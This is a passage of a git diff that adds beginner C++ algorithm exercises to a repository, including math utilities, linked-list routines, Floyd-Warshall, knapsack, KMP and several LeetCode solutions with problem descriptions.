Triangle formed by three points (x1, y1), (x2, y2), (x3, y3) + is determined by the following formula + + Area = (1/2) * {x1 * (y2 - y3) + x2 * (y3 - y1) + x3 * (y1 - y2)} + */ + area = a.x * (b.y - c.y) + b.x * (c.y - a.y) + c.x * (a.y - b.y); + + if (area == 0) + return true; + else + return false; +} + +int main() { + int x, y; + Point a, b, c; + cout << "\nEnter the first co-ordinates: "; + cin >> a.x >> a.y; + cout << "Enter the second co-ordinates: "; + cin >> b.x >> b.y; + cout << "Enter the third co-ordinates: "; + cin >> c.x >> c.y; + + if (check_collinear(a, b, c)) { + cout << "\nThe given points are collinear" << endl; + } else { + cout << "\nThe given points are not collinear" << endl; + } + return 0; +} + +/* + +Time Complexity: O(1) +Space Complexity: O(1) + +SAMPLE INPUT AND OUTPUT + +Enter the first co-ordinates: 1 1 +Enter the second co-ordinates: 2 2 +Enter the third co-ordinates: 3 3 + +The given points are collinear + +*/ diff --git a/CPP/Data Structures/math/absolute value.cpp b/CPP/Data Structures/math/absolute value.cpp new file mode 100644 index 000000000..973509963 --- /dev/null +++ b/CPP/Data Structures/math/absolute value.cpp @@ -0,0 +1,32 @@ +// { Driver Code Starts +#include +using namespace std; + + // } Driver Code Ends +// User function Template for C++ + +class Solution{ + public: + int absolute(int I) { + // code here + if(I<0) + return (-1)*I; + else + return I; + } + +}; + +// { Driver Code Starts. + +int main() { + int T; // number of testcases + cin >> T; // input number of testcases + while (T--) { + int I; + cin >> I; + Solution ob; + cout << ob.absolute(I) << endl; // print the output + } + return 0; +} // } Driver Code Ends \ No newline at end of file diff --git a/CPP/Data Structures/math/addition_under_modulo.cpp b/CPP/Data Structures/math/addition_under_modulo.cpp new file mode 100644 index 000000000..63dc8103e --- /dev/null +++ b/CPP/Data Structures/math/addition_under_modulo.cpp @@ -0,0 +1,25 @@ +//https://practice.geeksforgeeks.org/problems/addition-under-modulo/1/?track=ppc-mathematics&batchId=221 + +#include +using namespace std; +long long sumUnderModulo(long long a,long long b) +{ + // code here + long long m=10e9+7; + return (( a % m ) + ( b % m )) % m; + +} + +// { Driver Code Starts. +int main() { + int T; + cin>>T; + while(T--) + { + long long a; + long long b; + cin>>a>>b; + cout< +using namespace std; +int count(int n) //O(n) +{ + int digicount=0; + while(n!=0) + { + digicount+=1; + n=n/10; + } + return digicount; + +} +//alternative number of digits in N = log10(N) + 1. --->>> O(1) +int main() +{ + cout<<"enter a number"; + int num; + cin>> num; + cout<< count(num); +} \ No newline at end of file diff --git a/CPP/Data Structures/math/digits_in_factorial.cpp b/CPP/Data Structures/math/digits_in_factorial.cpp new file mode 100644 index 000000000..bb95d243a --- /dev/null +++ b/CPP/Data Structures/math/digits_in_factorial.cpp @@ -0,0 +1,52 @@ +// { Driver Code Starts +//Initial Template for C++ + + +#include +using namespace std; + + // } Driver Code Ends +//User function Template for C++ + +class Solution{ + public: + int digitsInFactorial(int num) + { + if (num < 0){ + return 0; + } + // base case + if (num <= 1){ + return 1; + } + // else iterate through num and calculate the + // value + double d = 0; + for (int i=2; i<=num; i++){ + d += log10(i); + } + return floor(d) + 1; +} + +}; +// { Driver Code Starts. + +int main() +{ + int T; + + //taking testcases + cin>>T; + while(T--) + { + int N; + + //taking N + cin>>N; + Solution ob; + //calling method digitsInFactorial() + cout< +// using namespace std; +// // } Driver Code Ends +// //User function Template for C++ +// class Solution{ +// public: +// void exactly3Divisors(int n) +// { +// vectorprime; +// for(int i=0;i<=n;i++) +// { +// prime.push_back(1); +// } +// prime[0]=0; +// prime[1]=0; +// for(int i=2;i<=sqrt(n);i++) +// { +// for(int j=2;j*i<=n;j++) +// { +// prime[i*j]=0; +// } +// } +// vectorfinal_prime; +// for(int i=0;i<=n;i++) +// { +// if(prime[i]==1) +// { +// final_prime.push_back(i); +// } +// } +// //cout<<"size of final: "<>N; +// Solution ob; +// ob.exactly3Divisors(N); +// //calling function exactly3Divisors() +// //cout< +using namespace std; + +int factorial(int n) +{ + int fac=1; + for(int i=1;i<=n;i++) + { + fac=fac*i; + } + return fac; +} +int main() +{ + int x; + cout<<"enter the number"; + cin>>x; + cout< +using namespace std; +int gcdfn(int a, int b) +{ + int res=min(a,b); + while(res>0) + { + if(a%res==0 && b%res==0) + break; + res--; + } + return res; +} +int main() +{ + int a=200 , b=100; + cout< +using namespace std; +int gcdfn(int a, int b) +{ + if(b==0) + return a; + else + return gcdfn(b,a%b); + +} +int main() +{ + int a =15, b=12; + cout< +using namespace std; + + + // } Driver Code Ends +//User function Template for C++ + +class Solution{ + public: + //Complete this function + double termOfGP(int A,int B,int N) + { + return A*pow(((double)B/A),N-1); + } +}; + +// { Driver Code Starts. + + +int main() +{ + int T; //testcases total + cin>>T;//input the testcases + + for(int i=0;i>A>>B; //input first and second term of gp + int N; + cin>>N; //input n + Solution ob; + cout< +using namespace std; +int lcmfn(int a, int b) +{ + int res=max(a,b); + while(1) + { + if(res%a==0 && res%b==0) + return res; + else + res++; + } + return res; +} +int main() +{ + int a=4 ,b=6; + cout< +using namespace std; + +int gcdfn(int a, int b) +{ + int res =min(a,b); + while(res >0) + { + if(b==0) + return a; + else + return gcdfn(b,a%b); + } + return a; + +} +int lcmfn(int a, int b) +{ + return (a*b)/gcdfn(a,b); +} +int main() +{ + int a=3, b=5; + cout< +using namespace std; + + + // } Driver Code Ends +//User function Template for C++ + +class Solution{ + public: + //Complete this function + double termOfGP(int A,int B,int N) + { + //Your code here + //n th term = first term X common ration^(n-1); + return A*pow((B/(double)A),N-1); + } +}; + +// { Driver Code Starts. + + +int main() +{ + int T; //testcases total + cin>>T;//input the testcases + + for(int i=0;i>A>>B; //input first and second term of gp + int N; + cin>>N; //input n + Solution ob; + cout< +using namespace std; +bool palindrome(long n) +{ + long rev=0; + long temp=n; + while(temp!=0) + { + long last_digit=temp%10; + rev=rev*10+last_digit; + temp/=10; + } + return(rev==n) ; +} +int main() +{ + long x; + cout<<"enter the number"; + cin>>x; + cout< +using namespace std; +int main() +{ + int n=16; + if((n&(n-1))==0) + cout<<"yes"; + else + cout<<"no"; +} \ No newline at end of file diff --git a/CPP/Data Structures/math/primality_test.cpp b/CPP/Data Structures/math/primality_test.cpp new file mode 100644 index 000000000..046a10cc4 --- /dev/null +++ b/CPP/Data Structures/math/primality_test.cpp @@ -0,0 +1,89 @@ +/* + +8. Primality Test +Easy Accuracy: 49.98% Submissions: 38509 Points: 2 + +A prime number is a number which is only divisible by 1 and itself. +Given number N check if it is prime or not. + + + +Example 1: + +Input: +N = 5 +Output: Yes +Explanation: 5 is only divisible by 1 +and itself. So, 5 is a prime number. + + + +Example 2: + +Input: +N = 4 +Output: No +Explanation: 4 is divisible by 2. +So, 4 is not a prime number. + + + +Your Task: +You don't need to read input or print anything. Your task is to complete the function isPrime() that takes N as input parameter and returns True if N is prime else returns False. + + + +Expected Time Complexity : O(N1/2) +Expected Auxilliary Space : O(1) + + + +Constraints: +1 <= N <= 109*/ +// { Driver Code Starts +//Initial Template for C++ +#include +using namespace std; + + + // } Driver Code Ends +//User function Template for C++ + +class Solution{ + public: + bool isPrime(int n) + { + //Your code here + for(int i=2;i<=sqrt(n);i++) + { + if (n%i==0) + { + return 0; + } + } + return true; + } + +}; + +// { Driver Code Starts. + +int main() +{ + int T; //testcases + cin>>T; //input testcases + while(T--) //while testcase have not been exhausted + { + int N; + cin>>N; //input n + Solution ob; + if(ob.isPrime(N)) + cout<<"Yes"; + else + cout<<"No"; + + cout << endl; + } + return 0; +} + // } Driver Code Ends \ No newline at end of file diff --git a/CPP/Data Structures/math/prime_factors.cpp b/CPP/Data Structures/math/prime_factors.cpp new file mode 100644 index 000000000..243be36f3 --- /dev/null +++ b/CPP/Data Structures/math/prime_factors.cpp @@ -0,0 +1,18 @@ +#include +using namespace std; + +class Primefactor +{ + public: + int prime_factor_fn(int n) + { + int primefac=0; + return primefac; + } +}; +int main() +{ + int n=10; + Primefactor pf; + cout< +using namespace std; + + // } Driver Code Ends +// User function Template for C++ + +class Solution { + public: + vector quadraticRoots(int a, int b, int c) { + float d=(b*b)-(4*a*c); + vectorroots; + if(d<0) + { + roots.push_back(-1);} + else + { + float r1=floor(((-b)-sqrt(d))/(2*a)); + float r2=floor(((-b)+sqrt(d))/(2*a)); + roots.push_back(r1); + roots.push_back(r2); + sort(roots.begin(),roots.end(),greater());//greater is passed to sort in descending order + // code here + } + return roots; + } +}; + + +// { Driver Code Starts. + +int main() { + int T; + cin >> T; + while (T--) { + int a, b, c; + cin >> a >> b >> c; + Solution ob; + vector roots = ob.quadraticRoots(a, b, c); + if (roots.size() == 1 && roots[0] == -1) + cout << "Imaginary"; + else + for (int i = 0; i < roots.size(); i++) cout << roots[i] << " "; + cout << endl; + } + return 0; +} // } Driver Code \ No newline at end of file diff --git a/CPP/Data Structures/math/roman_to_integer.cpp b/CPP/Data Structures/math/roman_to_integer.cpp new file mode 100644 index 000000000..fcd59ee1a --- /dev/null +++ b/CPP/Data Structures/math/roman_to_integer.cpp @@ -0,0 +1,46 @@ +#include +using namespace std; + +int roman_to_int(string roman){ + map rmap; + rmap['I'] = 1; + rmap['V'] = 5; + rmap['X'] = 10; + rmap['L'] = 50; + rmap['C'] = 100; + rmap['D'] = 500; + rmap['M'] =1000; + int number=0,i=0; + + //If input is only one character + if(roman.length()<=1){ + return rmap[roman.at(0)]; + } + else{ + while(i +using namespace std; + +int main() +{ + int n; + cout<<"enter the number till which you want to find the prime number"; + cin>>n; + int prime[100]; + for(int i=0;i<=n;i++) + { + prime[i]=1; + } + prime[0]=0; + prime[1]=0; + for(int i=2;i +using namespace std; +int main() +{ + long long ans=1; + long long n; + cout<<"enter the number n:"; + cin>>n; + for(long long i=1;i<=n;i++) + { + ans=(ans*i)/__gcd(ans,i); + } + cout< +using namespace std; +long long count_zero(long long n) +{ + long long count =0; + while(n) + { + long long last_digit=n%10; + if(last_digit==0) + count++; + n/=10; + } + return count; +} +long long factorial(long long n) +{ + long long fac=1; + for(long long i=1;i<=n;i++) + { + fac*=i; + } + cout< +using namespace std; +int count_trailing_zero(int n) +{ + int res=0; + for(int i=5;i<=n;i=i*5) + // every 5 and 2 pair will result in a zero since no of five will be always less we are taking that into account + { + res=res+n/i; + } + return res; +} +int main() +{ + int n=4;// number for which you need to find the trailing zero in its factorial + cout< +using namespace std; + +class Node { +public: + int data; + Node* next; +}; + +void push(Node** head_ref, int new_data) +{ + Node* new_node = new Node(); + new_node->data = new_data; + new_node->next = (*head_ref); + (*head_ref) = new_node; +} + +void detectLoop(Node* head) +{ + Node *slow = head, *fast = head; + + while (slow && fast && fast->next) { + slow = slow->next; + fast = fast->next->next; + if (slow == fast) + break; + } + if(slow==head){ + while(fast->next!=slow){ + fast=fast->next; + } + fast->next=NULL; + + } + else if(slow == fast){ + slow=head; + while(fast->next!=slow){ + fast=fast->next; + slow=slow->next; + } + fast->next=NULL; + } + +} +void printList(struct Node* node) +{ + // Print the list after loop removal + while (node != NULL) { + cout << node->data << " "; + node = node->next; + } +} + +int main() +{ + Node* head = NULL; + + push(&head, 20); + push(&head, 4); + push(&head, 15); + push(&head, 10); + head->next->next->next->next = head; + detectLoop(head); + cout << "Linked List after removing loop \n"; + printList(head); +} \ No newline at end of file diff --git a/CPP/Delete_vowels.cpp b/CPP/Delete_vowels.cpp new file mode 100644 index 000000000..067fe484e --- /dev/null +++ b/CPP/Delete_vowels.cpp @@ -0,0 +1,22 @@ +//Program to delete all the vowels from a given string and print the resulting string + +#include +using namespace std; + +int main() +{ + char str[100]; + cout<<"\n Enter String : "; + cin>>str; + + for(int i=0; str[i]!='\0'; i++) + { + if (str[i]=='a' || str[i]=='e' || str[i]=='i' || str[i]=='o' || str[i]=='u' || str[i]=='A' || str[i]=='E' || str[i]=='I' +|| str[i]=='O' || str[i]=='U') + { + str[i]=' '; + } + } + cout<<"\n String After Deleting Vowels : "< +using namespace std; + +// A doubly linked list node +struct Node { + int data; + struct Node* next; + struct Node* prev; +}; + +//inserts node at the front of the list +void insert_front(struct Node** head, int new_data) +{ + //allocate memory for New node + struct Node* newNode = new Node; + + //assign data to new node + newNode->data = new_data; + + //new node is head and previous is null, since we are adding at the front + newNode->next = (*head); + newNode->prev = NULL; + + //previous of head is new node + if ((*head) != NULL) + (*head)->prev = newNode; + + //head points to new node + (*head) = newNode; +} +/* Given a node as prev_node, insert a new node after the given node */ +void insert_After(struct Node* prev_node, int new_data) +{ + //check if prev node is null + if (prev_node == NULL) { + cout<<"Previous node is required , it cannot be NULL"; + return; +} + //allocate memory for new node + struct Node* newNode = new Node; + + //assign data to new node + newNode->data = new_data; + + //set next of newnode to next of prev node + newNode->next = prev_node->next; + + //set next of prev node to newnode + prev_node->next = newNode; + + //now set prev of newnode to prev node + newNode->prev = prev_node; + + //set prev of new node's next to newnode + if (newNode->next != NULL) + newNode->next->prev = newNode; +} + +//insert a new node at the end of the list +void insert_end(struct Node** head, int new_data) +{ + //allocate memory for node + struct Node* newNode = new Node; + + struct Node* last = *head; //set last node value to head + + //set data for new node + newNode->data = new_data; + + //new node is the last node , so set next of new node to null + newNode->next = NULL; + + //check if list is empty, if yes make new node the head of list + if (*head == NULL) { + newNode->prev = NULL; + *head = newNode; + return; +} + +//otherwise traverse the list to go to last node +while (last->next != NULL) +last = last->next; + +//set next of last to new node +last->next = newNode; + +//set last to prev of new node +newNode->prev = last; +return; +} + +// This function prints contents of linked list starting from the given node +void displayList(struct Node* node) { + struct Node* last; + + while (node != NULL) { + cout<data<<"<==>"; + last = node; + node = node->next; + } + if(node == NULL) + cout<<"NULL"; + } + +//main program +int main() { + /* Start with the empty list */ + struct Node* head = NULL; + + // Insert 40 as last node + insert_end(&head, 40); + + // insert 20 at the head + insert_front(&head, 20); + + // Insert 10 at the beginning. + insert_front(&head, 10); + + // Insert 50 at the end. + insert_end(&head, 50); + + // Insert 30, after 20. + insert_After(head->next, 30); + + cout<<"Doubly linked list is as follows: "<20<==>30<==>40<==>50<==>NULL + +The above program constructs a doubly linked list by inserting the nodes using three insertion methods i.e. inserting the node at the front, inserting the node at the end and inserting the node after the given node. + +Next, we demonstrate the same operation as a Java implementation. + +// Java Class for Doubly Linked List +class Doubly_linkedList { + Node head; // list head + + /* Doubly Linked list Node*/ + class Node { + int data; + Node prev; + Node next; + + //create a new node using constructor + Node(int d) { data = d; } + } + +// insert a node at the front of the list +public void insert_front(int new_data) +{ + /* 1. allocate node + * 2. put in the data */ + Node new_Node = new Node(new_data); + + /* 3. Make next of new node as head and previous as NULL */ + new_Node.next = head; + new_Node.prev = null; + + /* 4. change prev of head node to new node */ + if (head != null) + head.prev = new_Node; + + /* 5. move the head to point to the new node */ + head = new_Node; +} +//insert a node after the given prev node +public void Insert_After(Node prev_Node, int new_data) +{ + //check that prev node is not null + if (prev_Node == null) { + System.out.println("The previous node is required,it cannot be NULL "); + return; +} + + //allocate new node and set it to data + Node newNode = new Node(new_data); + + //set next of newNode as next of prev node + newNode.next = prev_Node.next; + + //set new node to next of prev node + prev_Node.next = newNode; + + //set prev of newNode as prev node + newNode.prev = prev_Node; + + //set prev of new node's next to newnode + if (newNode.next != null) + newNode.next.prev = newNode; +} + +// Add a node at the end of the list +void insert_end(int new_data) { + //allocate the node and set the data + Node newNode = new Node(new_data); + Node last = head; //set last as the head + //set next of new node to null since its the last node + newNode.next = null; + + //set new node as head if the list is null + if (head == null) { + newNode.prev = null; + head = newNode; + return; + } + //if list is not null then traverse it till the last node and set last next to last + while (last.next != null) + last = last.next; + + last.next = newNode; //set last next to new node + + newNode.prev = last; //set last as prev of new node +} +// display the contents of linked list starting from the given node +public void displaylist(Node node) +{ + Node last = null; + while (node != null) { + System.out.print(node.data + "<==>"); + last = node; + node = node.next; + } + if(node == null) + System.out.print("null"); + System.out.println(); + + } +} +class Main{ + public static void main(String[] args) + { + /* Start with the empty list */ + Doubly_linkedList dll = new Doubly_linkedList(); + + // Insert 40. + dll.insert_end(40); + + // Insert 20 at the beginning. + dll.insert_front(20); + + // Insert 10 at the beginning. + dll.insert_front(10); + + // Insert 50 at the end. + dll.insert_end(50); + + // Insert 30, after 20. + dll.Insert_After(dll.head.next, 30); + + System.out.println("Doubly linked list created is as follows: "); + dll.displaylist(dll.head); + } +} diff --git a/CPP/Dynamic array .cpp b/CPP/Dynamic array .cpp new file mode 100644 index 000000000..8e7a8845a --- /dev/null +++ b/CPP/Dynamic array .cpp @@ -0,0 +1,109 @@ + + #include + using namespace std; + #define MOD 1000000007 + typedef long long ll; + + class dynamicArray{ + int *data; + int nextIndex; + int capacity; //total size + public: + dynamicArray() + { + data= new int[5];//initial size + nextIndex=0; + capacity=5; + } + dynamicArray(dynamicArray const &d) + { + this->data=new int [d.capacity]; //deep copy + for(int i=0;idata[i]=d.data[i]; + } + this->nextIndex=d.nextIndex; + this->capacity=d.capacity; + + } + + void operator=(dynamicArray const &d) + { + this->data=new int [d.capacity]; //deep copy + for(int i=0;idata[i]=d.data[i]; + } + this->nextIndex=d.nextIndex; + this->capacity=d.capacity; + + } + + void add(int element) + { + if(nextIndex==capacity) + { + int *newData=new int[2*capacity]; + for(int i=0;i + +// Number of vertices in the graph +#define V 4 + +/* Define Infinite as a large enough value. This value will be used + for vertices not connected to each other */ +#define INF 99999 + +// A function to print the solution matrix +void printSolution(int dist[][V]); + +// Solves the all-pairs shortest path problem using Floyd Warshall algorithm +void floydWarshall (int graph[][V]) +{ + /* dist[][] will be the output matrix that will finally have the shortest + distances between every pair of vertices */ + int dist[V][V], i, j, k; + + /* Initialize the solution matrix same as input graph matrix. Or + we can say the initial values of shortest distances are based + on shortest paths considering no intermediate vertex. */ + for (i = 0; i < V; i++) + for (j = 0; j < V; j++) + dist[i][j] = graph[i][j]; + + /* Add all vertices one by one to the set of intermediate vertices. + ---> Before start of an iteration, we have shortest distances between all + pairs of vertices such that the shortest distances consider only the + vertices in set {0, 1, 2, .. k-1} as intermediate vertices. + ----> After the end of an iteration, vertex no. k is added to the set of + intermediate vertices and the set becomes {0, 1, 2, .. k} */ + for (k = 0; k < V; k++) + { + // Pick all vertices as source one by one + for (i = 0; i < V; i++) + { + // Pick all vertices as destination for the + // above picked source + for (j = 0; j < V; j++) + { + // If vertex k is on the shortest path from + // i to j, then update the value of dist[i][j] + if (dist[i][k] + dist[k][j] < dist[i][j]) + dist[i][j] = dist[i][k] + dist[k][j]; + } + } + } + + // Print the shortest distance matrix + printSolution(dist); +} + +/* A utility function to print solution */ +void printSolution(int dist[][V]) +{ + printf ("The following matrix shows the shortest distances" + " between every pair of vertices \n"); + for (int i = 0; i < V; i++) + { + for (int j = 0; j < V; j++) + { + if (dist[i][j] == INF) + printf("%7s", "INF"); + else + printf ("%7d", dist[i][j]); + } + printf("\n"); + } +} + +// driver program to test above function +int main() +{ + /* Let us create the following weighted graph + 10 + (0)------->(3) + | /|\ + 5 | | + | | 1 + \|/ | + (1)------->(2) + 3 */ + int graph[V][V] = { {0, 5, INF, 10}, + {INF, 0, 3, INF}, + {INF, INF, 0, 1}, + {INF, INF, INF, 0} + }; + + // Print the solution + floydWarshall(graph); + return 0; +} diff --git a/CPP/Fractional Knapsack.cpp b/CPP/Fractional Knapsack.cpp new file mode 100644 index 000000000..09f8e330d --- /dev/null +++ b/CPP/Fractional Knapsack.cpp @@ -0,0 +1,81 @@ +#include +using namespace std; + +class Knapsack_G +{ + public: + double weight[3]; + double benefit[3]; + double ratio[3]; + double W; + Knapsack_G() + { int nItems; + cout<<"Enter the number of objects: "; + cin>>nItems; + cout<<"Enter the object's weights\n"; + for (int i = 0; i>weight[i]; + cout<<"Enter the object's profits\n"; + for (int i = 0; i>benefit[i]; + for (int i = 0; i>W; + cout<<"All values are taken\n"; + for (int i = 0; ihighest) + { + highest = ratio[i]; + index = i; + } + } + return index; + } + + void fill() + { + double cW = 0; //current weight + double cB = 0; //current benefit + cout<<"\n Objects considered: "; + while (cW>s; + int arr[s]; + for(i=0;i>arr[i]; + } + + for(i=1;icurrent&&j>=0) + { + arr[j+1]=arr[j]; + j--; + } + j++; + arr[j]=current; + } + for(i=0;i + +constexpr bool isPrimeRecursive(const unsigned int number, const unsigned int ref) +{ + return (ref * ref > number) ? true : (number % ref == 0) ? false : isPrimeRecursive(number, ref + 1); +} + +constexpr bool isPrime(const unsigned int number) +{ + return (number < 2) ? false : isPrimeRecursive(number, 2); +} + +int main() +{ + assert(!isPrime(0)); + assert(!isPrime(1)); + assert(isPrime(2)); + assert(isPrime(3)); + assert(!isPrime(4)); + assert(isPrime(5)); + assert(!isPrime(6)); + assert(isPrime(7)); + assert(!isPrime(8)); + assert(!isPrime(9)); + assert(!isPrime(10)); +} diff --git a/CPP/KMP_Pattern_Searching.cpp b/CPP/KMP_Pattern_Searching.cpp new file mode 100644 index 000000000..c77d543cf --- /dev/null +++ b/CPP/KMP_Pattern_Searching.cpp @@ -0,0 +1,60 @@ +/* This program prints the number of times given pattern occurs in a string in O(n) using KMP */ +#include +using namespace std; +typedef long long ll; +typedef unsigned long long ull; +#define mod 1000000007 +#define FOR(i,x) for(int i = 0; i < x; i++) +#define For(x,y) for(int i = x; i <= y; i++) +#define vint(x) vectorx +#define vl(x) vectorx +#define vll(x) vectorx +#define pb push_back +#define oset tree +const int mx = 1e6; +int main() +{ +// freopen("input.txt", "r", stdin); +// freopen("output.txt", "w", stdout); + ios_base::sync_with_stdio(0); + cin.tie(0); + cout.tie(0); + string p,s; + cin>>p>>s; + int n = s.length(), m = p.length(), ans = 0; + int lps[m] = {0}; // An array of longest prefix count for each index + for(int i = 1; i < m; i++) // Calculating longest proper prefix which is also a suffix + { + int j = lps[i-1]; + while(j > 0 && p[i] != p[j]) + j = lps[j-1]; + if(p[i] == p[j]) + ++j; + lps[i] = j; + } + int j = 0; + for(int i = 0; i <= (n-m); i++) + { + int q = i; + for(; j < m; j++) + { + if(p[j] == s[i]) + ++i; + else + break; + } + if(j == m) // Pattern Matches + { + ++ans; + i = q; + } + else + { + if(j == 0) // If first character itself don't match + continue; + --i; // Start matching again at mismatch character + } + j = lps[j-1]; + } + cout< + +using namespace std; + +int getOddOccur(int arr[],int arr_size) + +{ + +    for(int i=0;i2. Add Two Numbers

Medium


You are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order, and each of their nodes contains a single digit. Add the two numbers and return the sum as a linked list.

+ +

You may assume the two numbers do not contain any leading zero, except the number 0 itself.

+ +

 

+

Example 1:

+ +
Input: l1 = [2,4,3], l2 = [5,6,4]
+Output: [7,0,8]
+Explanation: 342 + 465 = 807.
+
+ +

Example 2:

+ +
Input: l1 = [0], l2 = [0]
+Output: [0]
+
+ +

Example 3:

+ +
Input: l1 = [9,9,9,9,9,9,9], l2 = [9,9,9,9]
+Output: [8,9,9,9,0,0,0,1]
+
+ +

 

+

Constraints:

+ +
    +
  • The number of nodes in each linked list is in the range [1, 100].
  • +
  • 0 <= Node.val <= 9
  • +
  • It is guaranteed that the list represents a number that does not have leading zeros.
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/add-two-numbers/add-two-numbers.cpp b/CPP/Leet Code Solutions/add-two-numbers/add-two-numbers.cpp new file mode 100644 index 000000000..6b7a9c6c4 --- /dev/null +++ b/CPP/Leet Code Solutions/add-two-numbers/add-two-numbers.cpp @@ -0,0 +1,28 @@ +/** + * Definition for singly-linked list. + * struct ListNode { + * int val; + * ListNode *next; + * ListNode() : val(0), next(nullptr) {} + * ListNode(int x) : val(x), next(nullptr) {} + * ListNode(int x, ListNode *next) : val(x), next(next) {} + * }; + */ +class Solution { +public: + ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) { + ListNode preNode(-1), *p = &preNode; + int carry = 0, sum; + + while(l1 || l2 || carry){ + sum = (l1?l1->val:0) + (l2?l2->val:0) + carry; + p->next = new ListNode(sum%10); + carry = sum/10; + + p = p->next; + l1 = l1?l1->next:l1; + l2 = l2?l2->next:l2; + } + return preNode.next; + } +}; \ No newline at end of file diff --git a/CPP/Leet Code Solutions/array_of_doubled_pairs.cpp b/CPP/Leet Code Solutions/array_of_doubled_pairs.cpp new file mode 100644 index 000000000..e5ecb16b3 --- /dev/null +++ b/CPP/Leet Code Solutions/array_of_doubled_pairs.cpp @@ -0,0 +1,27 @@ +// Link to the problem: +// https://leetcode.com/problems/array-of-doubled-pairs/ + +// Problem Name=> Array of Doubled Pairs +// Problem Type=> Medium + +// Solution: + +class Solution { +public: + static bool compare(int a,int b){ + return abs(a)& A) { + sort(A.begin(),A.end(),compare); + unordered_map m; + for(int i=0;i121. Best Time to Buy and Sell Stock

Easy


You are given an array prices where prices[i] is the price of a given stock on the ith day.

+ +

You want to maximize your profit by choosing a single day to buy one stock and choosing a different day in the future to sell that stock.

+ +

Return the maximum profit you can achieve from this transaction. If you cannot achieve any profit, return 0.

+ +

 

+

Example 1:

+ +
Input: prices = [7,1,5,3,6,4]
+Output: 5
+Explanation: Buy on day 2 (price = 1) and sell on day 5 (price = 6), profit = 6-1 = 5.
+Note that buying on day 2 and selling on day 1 is not allowed because you must buy before you sell.
+
+ +

Example 2:

+ +
Input: prices = [7,6,4,3,1]
+Output: 0
+Explanation: In this case, no transactions are done and the max profit = 0.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= prices.length <= 105
  • +
  • 0 <= prices[i] <= 104
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/best-time-to-buy-and-sell-stock/best-time-to-buy-and-sell-stock.cpp b/CPP/Leet Code Solutions/best-time-to-buy-and-sell-stock/best-time-to-buy-and-sell-stock.cpp new file mode 100644 index 000000000..5bfaad808 --- /dev/null +++ b/CPP/Leet Code Solutions/best-time-to-buy-and-sell-stock/best-time-to-buy-and-sell-stock.cpp @@ -0,0 +1,13 @@ +class Solution { +public: + int maxProfit(vector& prices) { + int min_price = prices[0]; + int max_profit = 0; + for(int i=1;i217. Contains Duplicate

Easy


Given an integer array nums, return true if any value appears at least twice in the array, and return false if every element is distinct.

+ +

 

+

Example 1:

+
Input: nums = [1,2,3,1]
+Output: true
+

Example 2:

+
Input: nums = [1,2,3,4]
+Output: false
+

Example 3:

+
Input: nums = [1,1,1,3,3,4,3,2,4,2]
+Output: true
+
+

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • -109 <= nums[i] <= 109
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/contains-duplicate/contains-duplicate.cpp b/CPP/Leet Code Solutions/contains-duplicate/contains-duplicate.cpp new file mode 100644 index 000000000..b044d0965 --- /dev/null +++ b/CPP/Leet Code Solutions/contains-duplicate/contains-duplicate.cpp @@ -0,0 +1,10 @@ +class Solution { +public: + bool containsDuplicate(vector& nums) { + unordered_set nums_set(nums.begin(),nums.end()); + if(nums_set.size()!=nums.size()){ + return true; + } + return false; + } +}; \ No newline at end of file diff --git a/CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/README.md b/CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/README.md new file mode 100644 index 000000000..45ee2d5fc --- /dev/null +++ b/CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/README.md @@ -0,0 +1,30 @@ +

378. Kth Smallest Element in a Sorted Matrix

Medium


Given an n x n matrix where each of the rows and columns are sorted in ascending order, return the kth smallest element in the matrix.

+ +

Note that it is the kth smallest element in the sorted order, not the kth distinct element.

+ +

 

+

Example 1:

+ +
Input: matrix = [[1,5,9],[10,11,13],[12,13,15]], k = 8
+Output: 13
+Explanation: The elements in the matrix are [1,5,9,10,11,12,13,13,15], and the 8th smallest number is 13
+
+ +

Example 2:

+ +
Input: matrix = [[-5]], k = 1
+Output: -5
+
+ +

 

+

Constraints:

+ +
    +
  • n == matrix.length
  • +
  • n == matrix[i].length
  • +
  • 1 <= n <= 300
  • +
  • -109 <= matrix[i][j] <= 109
  • +
  • All the rows and columns of matrix are guaranteed to be sorted in non-decreasing order.
  • +
  • 1 <= k <= n2
  • +
+
\ No newline at end of file diff --git a/CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/kth-smallest-element-in-a-sorted-matrix.cpp b/CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/kth-smallest-element-in-a-sorted-matrix.cpp new file mode 100644 index 000000000..2ab9a3279 --- /dev/null +++ b/CPP/Leet Code Solutions/kth-smallest-element-in-a-sorted-matrix/kth-smallest-element-in-a-sorted-matrix.cpp @@ -0,0 +1,13 @@ +class Solution { +public: + int kthSmallest(vector>& matrix, int k) { + vector all_nums; + for(int i=0;i

Given two strings text1 and text2, return the length of their longest common subsequence. If there is no common subsequence, return 0.

+ +

A subsequence of a string is a new string generated from the original string with some characters (can be none) deleted without changing the relative order of the remaining characters.

+ +
    +
  • For example, "ace" is a subsequence of "abcde".
  • +
+ +

A common subsequence of two strings is a subsequence that is common to both strings.

+ +

 

+

Example 1:

+ +
Input: text1 = "abcde", text2 = "ace" 
+Output: 3  
+Explanation: The longest common subsequence is "ace" and its length is 3.
+
+ +

Example 2:

+ +
Input: text1 = "abc", text2 = "abc"
+Output: 3
+Explanation: The longest common subsequence is "abc" and its length is 3.
+
+ +

Example 3:

+ +
Input: text1 = "abc", text2 = "def"
+Output: 0
+Explanation: There is no such common subsequence, so the result is 0.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= text1.length, text2.length <= 1000
  • +
  • text1 and text2 consist of only lowercase English characters.
  • +
